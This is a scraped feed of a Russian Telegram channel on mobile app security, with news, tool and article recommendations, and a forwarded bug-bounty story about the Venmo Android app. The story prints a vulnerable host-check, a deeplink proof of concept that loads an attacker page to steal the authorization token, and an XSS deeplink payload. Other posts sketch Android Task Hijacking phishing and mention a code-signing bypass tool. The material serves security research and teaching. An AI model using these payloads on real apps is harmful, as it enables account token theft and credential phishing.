Mobile AppSec World
3.74K subscribers
109 photos
6 videos
18 files
657 links
Новости из мира безопасности мобильных приложений, а так же интересные статьи, обзоры инструментов, доклады, митапы и многое другое...

По всем вопросам - @Mr_R1p
Download Telegram
Итоги первого конкурса по Offzone

Всем привет!
Прошло уже достаточно времени, как стартовал конкурс, истории перестали приходить и пора бы подвести итоги.

Спасибо всем, кто участвовал, истории были классные и добавили немного веселья в наш чат :)

Но я просто не могу не отдать проходку @impact_l за его шикарную историю! Те, кто не читал, отправлю её следующим постом. Я думаю все согласятся, что это достойно награды!

@impact_l поздравляю!

Ну а всех, кто отправил свои истории, жду на стенде оффзона за мерчем :)

Впереди ещё пара конкурсов, не переживайте те, у кого ещё нет билетов ;)

#offzone #конкурс
Forwarded from Impact
#offzone1 Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.

Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/

Вот только там была проверка хоста.
— Возможно она реализована неверно. Подумал я вслух.

А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.
5
4
Верно, здесь забыли добавить точку host.endsWith("venmo.biz")

Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди

Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал!

Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении!

Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так?
Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)!

Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею.

Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix: host.endsWith(".venmo.biz")
Верно, они добавили точку.
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.

Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.

Спустя два года, в мои цепкие лапы попала xss на поддомене .venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.

Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной

P.S. история является реальной, все совпадения не случайны
Инструмент для загрузки приложений из систем дистрибуции и магазинов приложений

Всем привет!

Очень часто возникает необходимость загрузить что-то из Google Play или Apple Appstore.
А бывает и такое, что нужно автоматизировать загрузку промежуточных версий из какого-то Firebase, например или AppCenter.

Мы тоже сталкиваемся постоянно с этими задачами, поэтому решили их автоматизировать и оформить в виде репо на гитхаб, а также питоновского пакета и докер-образа :)

Вообще, это наш cli для автоматического сканирования приложений, но если вам нужно просто приложение, достаточно указать флаг —download_only

И если интересно почитать, как мы это разрабатывали - прошу на Хабр!

Пользуйтесь на здоровье :)

#habr #integratios #firebase #googleplay #appstore
Начало цикла статей по Android Internals

Всем привет! Нашел достаточно познавательную статью о внутреннем устройстве Android. Название многообещающее - Android Internals for Reverse Engineers.

В первой (и пока что единственной главе) описываются базовые понятие из мира Android, что такое Dalvik Bytecode, как он выполняется, из чего состоит и т.д.

Вообще, автор анонсировал дальнейшее продолжение и я его жду, потому что материал, его подача и контент читаются достаточно легко, понятно и информативно. Конечно, пока что ничего сильного нового, но освежить знания никогда не поздно)

Так что читаем и ждем (надеемся) на продолжение!

#android #internals #dalvik
Отличная заметка по реверсу и замене функции на свою в рантайме

В соседнем чате не так давно обсуждали различные возможности по предварительной загрузке или подмене системных библиотек при старте Android и промелькнуло несколько интересных ссылок на статьи.

И вот первая из них, как раз про подмену функций в рантайме, анализ логики работы, работа со смещениями, lldb и другим не менее интересным тулом для дизассемблирования ARMv8 инструкций в runtime - armadillo.

Самое главное, статья от нашего соотечественника на родном, русском языке! Отличный материал, очень подробное повествование, с примерами и результатом в виде готового проекта - hijack-shared-library-function.

В общем, спасибо большое автору @x25519 за годный контент!

#lldb #reverse
Исследование Android Auto

И ещё серия статей от предыдущего автора @x25519, но на этот раз уже про Android Auto.

На самом деле я никогда даже не задумывался, как это всё работает под капотом, как реализована интеграция и какие протоколы используются при подключении телефона к машине. А ведь это целый новый дивный мир!

Хотел бы представить вашему внимаю две крайне интересные статьи:
- Android Auto on Real Android статья про андроид авто, его эмуляцию, работу с ним по USB и много-много других интересных вещей про работу с ним

- TLS 1.2 brief insight - статья, описывающая принцип работы tls, очень качественно и подробно, а также способ дампа ключей, использующихся при установке соединения, а так же репозиторий для расшифровки этого трафика и логирования ключей

Очень советую прочитать все эти материалы, так как они действительно очень крутые и полезные 😄

Спасибо и всем хорошего дня :)

#androidauto #tls #android
Розыгрыш на конференцию OFFZONE 2022 #2

Всем привет и с пятницей!

Друзья, как обещал, розыгрыш второй проходки на конференцию OFFZONE 2022, которая пройдет 25-26 августа в Москве!

Сегодня все больше и больше приложений пишут на кроссплатформенных фреймворках вроде React Native, Cordova, Flutter, Ionic и других. Много было статей и боли за последнее время по анализу Flutter (спасибо StepN за это), и много еще интересных статей, багов и блогов, в которых можно найти много полезной информации по анализу таких приложений.

На сегодняшний день, большинство известных мне инструментов (энтерпрайз и опенсорс) умеют хорошо работать только с нативной частью приложений (java/kotlin/swift/objective), но имеют ооочень ограниченную поддержку для всех остальных технологий. И стало интересно очень, а какие специфические баги есть в этих приложениях и как их можно искать?

Правила этого конкурса просты.
Отправьте в наш чат сообщение с тэгом #offzone2 и ссылкой/описанием/текстом на любые материалы (статьи, инструменты, репозитории, отчеты на H1, научные исследования), которые содержат информацию по анализу таких приложений или рассказывают о каких-то специфичных багах.

На самом деле, интересна любая информация, но, конечно, идеально был бы опыт личного использования инструментов или поиска багов, которые вы описываете, но в целом это не обязательно, так что присылайте материалы, которые вам когда-то помогли приступить к анализу кросс-платформ.

Через неделю-две я соберу все сообщения и выберу победителя! Выбирать буду по самому интересному репорту/новости/тулу, которое мне реально помогло при анализе таких приложений. И соберу большой пост, который будет содержать в себе все ваши ссылки и подборки материалов по этой тематике. Думаю, будет в дальнейшем хорошая шпаргалка =)

Ну и напомню, всем, кто принял участие в конкурсе (но не победил), но все-таки будет на оффзоне, приходите к нам на стенд и получите немного прикольного мерча (да-да, мы все ходим на конференции именно за этим)

Всем удачи и хорошего поиска, встретимся на OFFZONE!

#offzone2 #конкурс #cordova #flutter #reactnative #OFFZONE2022
Бесплатные курсы по безопасности Web-приложений

Специально для тех, кому хочется в выходные поизучать что-то интересное. Наткнулся на не колько бесплатных курсов по Web безопасности:

CS 253 Web Security
https://web.stanford.edu/class/cs253/

Ethical Hacking 12 Hours
youtu.be/fNzpcB7ODxQ

OSINT in 5 Hours
https://youtu.be/qwA6MmbeGNo

Beginner Web Application Hacking
outu.be/24fHLWXGS-M

Linux for Ethical Hackers
youtu.be/U1w4T03B30I

Buffer Overflows Made Easy
https://youtu.be/ncBblM920jw


Надеюсь, вам будет интересно! Хоть это и не по мобилкам ;)

#web #education #free #cources
Подключайтесь, у @OxFi5t офигенные стримы!
Forwarded from Android Guards
В среду 06.07.2022 в 20:00 (MSK) хочу провести стрим, в котором обсудим как прийти в мобильный инфобез в 2022 году. Уклон беседы будет скорее в offensive security, но думаю, что разработчики тоже узнают для себя что-то интересное.
Темы, которые хотелось бы затронуть:
- С чего начать совсем молодым специалистам. Что изучать, а на что можно забить в начале пути
- Как вкатиться уже матерым хакерам, которые точно знают в какое поле пихать кавычку, а в какое лучше не надо
- Что делать разработчикам, у которых наступил "кризис веры" и есть желание уверовать в захек мобилок

Еще попробуем поговорить о рабочем процессе в целом и какую пользу все эти мобильные познания могут принести если решите перекатиться в другую область. Ну и конечно же хочется послушать ваши вопросы чтобы сделать повествование наиболее полным и полезным.

Проходить все будет в формате видео чата в группе Android Guards, так что если вы еще не там, то самое время.
Большой гайд по реверсу

Иногда спрашивают, с чего начать реверсить, что почитать на эту тему. Теперь у меня есть ответ :)

Достаточно большой гайд, а точнее сборник различных материалов по реверсу на различных архитектурах, с использованием различного инструментального стека: radare2, gdb, frida, x64dbg и других.

Заметки/статьи покрывают реверс С кода на х86, под винду и Unix, ну и небольшой кусочек по анализу малвари.

Всем, кто погружен в тематику или хочет научиться, настоятельно рекомендую. Очень наглядно, подробно, с комментариями и примерами.

Ну и просто заглядывайте к нему в блог, там очень качественные материалы.

#reverse #frida #gdb #radare2
Эмуляция iOS на базе Qemu

Уже скоро, в августе, состоится BlackHat USA 2022, но уже сейчас можно полазить по сетке докладов и посмотреть, что же будет интересного по нашей части. И да, первым в глаза мне бросилось очень интересная тема - эмулятор iOS.

Доклад TruEMU: An Extensible, Open-Source, Whole-System iOS Emulator обещает нам описание того, как команде исследователей удалось создать полноценный эмулятор для iOS на базе qemu, как онии его использовали для фаззинга стека ядра USB. По словам авторов, по сравнению с несколькими доступными альтернативами, TrueEMU обеспечивает полную эмуляцию ядра iOS, включая эмуляцию SecureROM и стека ядра USB. В рамках доклада также обещают показать, как полностью загружать современные образы iOS, включая iOS 14 и последнюю версию iOS 15, и как правильно запускать различные компоненты пользовательского пространства, такие как launchd, restore и т. д.

Исходники я поискал, но пока что не нашел, возможно их опубликуют после доклада. Можно как раз будет посмотреть и попробовать позапускать/поиграть с очередным эмулятором iOS. Очень надеюсь, что он будет сильно лучше и стабильнее, чем тот вариант, про который я писал ранее.

Так что с нетерпением ждем доклада и видео) Может это будет прорыв и мы получим бесплатный Correlium?

#iOS #qemu #emulation
Трек по мобилкам на BlackHat USA

В дополнение к предыдущему посту, посмотреть все доклады в сетке, посвященные мобильной безопасности можно вот по такой вот ссылке:

https://www.blackhat.com/us-22/briefings/schedule/#track/mobile

Надеюсь, каждый найдет для себя что-то интересное.

#BH #mobile
Продолжая тему реверса - инструмент radius2

Многие OpenSource продукты (обычно почему-то в реверсе мне чаще всего встречаются) имеют постфикс, то есть взяли какой-то инструмент, переписали его на новый язык/переделали/улучшили, но помня, откуда была взята оригинальная идея, оставляют старое название и добавляют новую цифру. Как примеры, radare2, radius2.

Интересно, а будет ли frida2, вот это я бы посмотрел =D

Вот и следующий инструмент имеет постфикс: radius2

Это фреймворк для символьного выполнения и taint-анализа, использующий Radare2 и его промежуточное представление ESIL. По сути, это старая версия ESILSove с некоторыми архитектурными улучшениями. Он использует boolector SMT-solver, а не z3. В среднем он выполняется примерно в 1000 раз быстрее, чем ESILSove.

Думаю, что тем, кто погружается или уже погружен в мир реверса - это будет полезно (если вы, конечно о нем не знаете).

Дополнительно в репозитории лежит неплохой файлик с описанием того, что эта штука умеет и может.

Приятного чтения и использования!

#radius #radare #frida #reverse
Переход на 64-битную архитектуру в Android

Как мы знаем, ещё в далеком 2017 (блин, 5 лет прошло уже 😰), Apple полностью отказалась от поддержки 32-битных приложений и этой архитектуры как таковой. Google же, в свою очередь нет-нет, да и посматривал на своего оппонента и вот, долгожданные новости. В ближайшее время компания планирует отказаться от поддержки x86!

Уже сейчас, в новых линейках процессоров из 8 доступных ядер для выполнения 32-битных операций будут доступны только 3 ядра. А к следующему году планируется полностью исключить их выполнение.

Android давно к этому готовился и вот, Android 12 первая версия операционной системы, которая поддерживает выполнение только 64-битных приложений! Небольшая выдержка из статьи:

The latest revision to the CDD explicitly requires device makers to build 32-bit Android for low RAM devices. The goal is to reduce the types of Android builds to two — Android 32-bit only and Android 64-bit only — to reduce fragmentation until 32-bit support can be fully deprecated years from now.

Больше подробностей в статье. За что мне нравится этот ресурс - это огромное количество ссылок в процессе повествования, по которым интересно походить и прочитать интересующую информацию.

#android #fragmentation #x86 #x64
Переподпись IPA-файлов для iOS без срока действия!

Спасибо @vadimszzz за отличную новость!

Не так давно был обнаружен интересный баг в iOS, из-за которого CoreTrust система доверяет любому корневому сертификату. И спустя некоторое время появились PoC для эксплуатации этой уязвимости. А теперь, появился специальный инструмент, который полностью автоматизирует переподпись приложения для эксплуатации этой баги

Используя утилиту из репозитория, можно переподписать любое приложение и оно не будет требовать обновления доверию профиля каждые 6 дней.

Но зачем так сложно, спросите вы, ведь на jailed-устройствах есть замечательный AppSync Unified, который как раз убирает проверку подписи и позволяет запускать неподписанные приложения. А вся соль в том, что перепакованное таким образом приложение будет работать всегда, даже если джейл слетел или вы его убрали. То есть, джейлим устройство, переподписываем и устанавливаем приложение, убираем джейл, все работает так же, как и раньше!

В некоторых случаях это работает и с джейлом от unc0ver, для которого нужно запустить специальное приложение (хоть и не всегда). В теории, если скрипт дотюнят до того, чтобы он всегда гарантировано запускал unc0ver, это снимет очень много проблем и боли, когда джейл слетает и его необходимо переставить. Не будет необходимости нести устройство к компу.

На Reddit есть большой тред, посвященный этому репозиторию и возникающим проблемам.

Enjoy!

#permasigner #ios #jailbreak #CoreTrust #resign
Большая энциклопедия Android-malware

Не так давно кто-то спрашивал про сэмплы зловредов под Androd. Тогда я скинул репозиторий, который содержит определенное их количество и периодически обновляется.

Но вот намного более интересный вариант под названием Androscope, поиск по вредоносам, а точнее по их функционалу. То есть, с его помощью можно найти все семплы, которые записывают видео с экрана или используют наложение, отреверсить их и понять, как они это имплементируют.

Очень интересный проект, для аналитиков самое то!

А вот небольшая статья по его функционалу.

#Android #Malware #reverse
Слайды с доклада по рефакторингу MASVS и MSTG

В начале июня прошел OWASP Virual AppSec 2022, на котором в том числе был доклад про текущий статус переработки двух основных документов по мобилам от оваспа.

Ну что сказать, ребята молодцы, как и обещали потихоньку вместе с сообществом лопатят наши основные документы, которые мы так часто используем.

Из интересного, и что в очередной раз хочется отметить:
1. Документы теперь будут связаны между собой намного сильнее
2. В MSTG должны появиться атомарные проверки на каждое требование (то есть будет понятнее что и как проверять)
3. Существенная переработка требований в каждом разделе
4. Отчетики в PDF и способы автоматизации

Так что все идет к тому, что в этом году мы таки увидим долгожданный релиз и новую «более лучшую версию»!

#owasp #mstg #masvs
Фишинговая компания в Facebook

В целом, в новости про фишинговые рассылки и их компании внутри соц.сетей это достаточно распространенная вещь, особенно учитывая огромное количество последних, ну и способов это провернуть также достаточно много, а некоторые из них еще и продают на курсах (схема серая, время чтения 13 минут) 😄

В данном конкретном случае пользователь жмет на ссылку от своего друга в FB messenger, попадает на страницу псевдо-логина в Facebook, вводит или не вводит креды и его редиректят на страницу с рекламой. Все просто, ты либо получил аккаунт пользователя, либо заработал на рекламе (а может и то и другое). Если верить отчету, то за время работы этой компании злоумышленники только на рекламе могли заработать порядка 59 млн $.

Что интересно, и уже стало стандартом качества для фишинга, это использование сервисов для сокращения ссылок и большой череды редиректов со страницу на страницу таким образом, чтобы система соц.сети не могла запретить отследить использование зловредного домена и заблокировать его. А блокировка легитимных сервисов повлечет за собой потерю работоспособности многих обычных сервисов.

Судя по исследованию, огромное количество пользователей вбивают свои данные на эти страницы, что для меня до сих пор удивительно. Столько информации и столько различных историй и обучений, что не надо вводить свои кровные данные в непонятные формочки, но все равно с завидной регулярность пользователи сами отдают свои логины и пароли в руки злоумышленникам. Вопрос почему и зачем?)

Есть у меня идея по фишингу для версий Android < 11, это использование Task Hijacking для подмены приложения. Пользователю приходит валидный диплинк, он его открывает, запускается "правильное приложение", где мы вводим свои данные и после открывается целевое приложение. Абсолютно прозрачно для пользователя и не вызывает вопросов. На такое может кто и купился бы)) Но вот вбивать свои логины и пароли на левый сайт и потом смотреть рекламу, ну как-то для меня странно.

Но сам факт интересен, конечно, что на протяжении практически года эта компания живет в автоматическом режиме и собирает деньги с рекламы и данные пользователей.

А вы когда-то попадались на фишинг?

#phishsing #facebook #ad
Выше пример того, как может сработать красивый фишинг в андроид 😎
Открываем из лаунчера / через диплинк Google Play, видим экран аутентификации, вводим креды - открывается наш любимый магазин приложений, ну а злоумышлееник получает наши логин и пароль к себе.

Вот это я понимаю фишинг!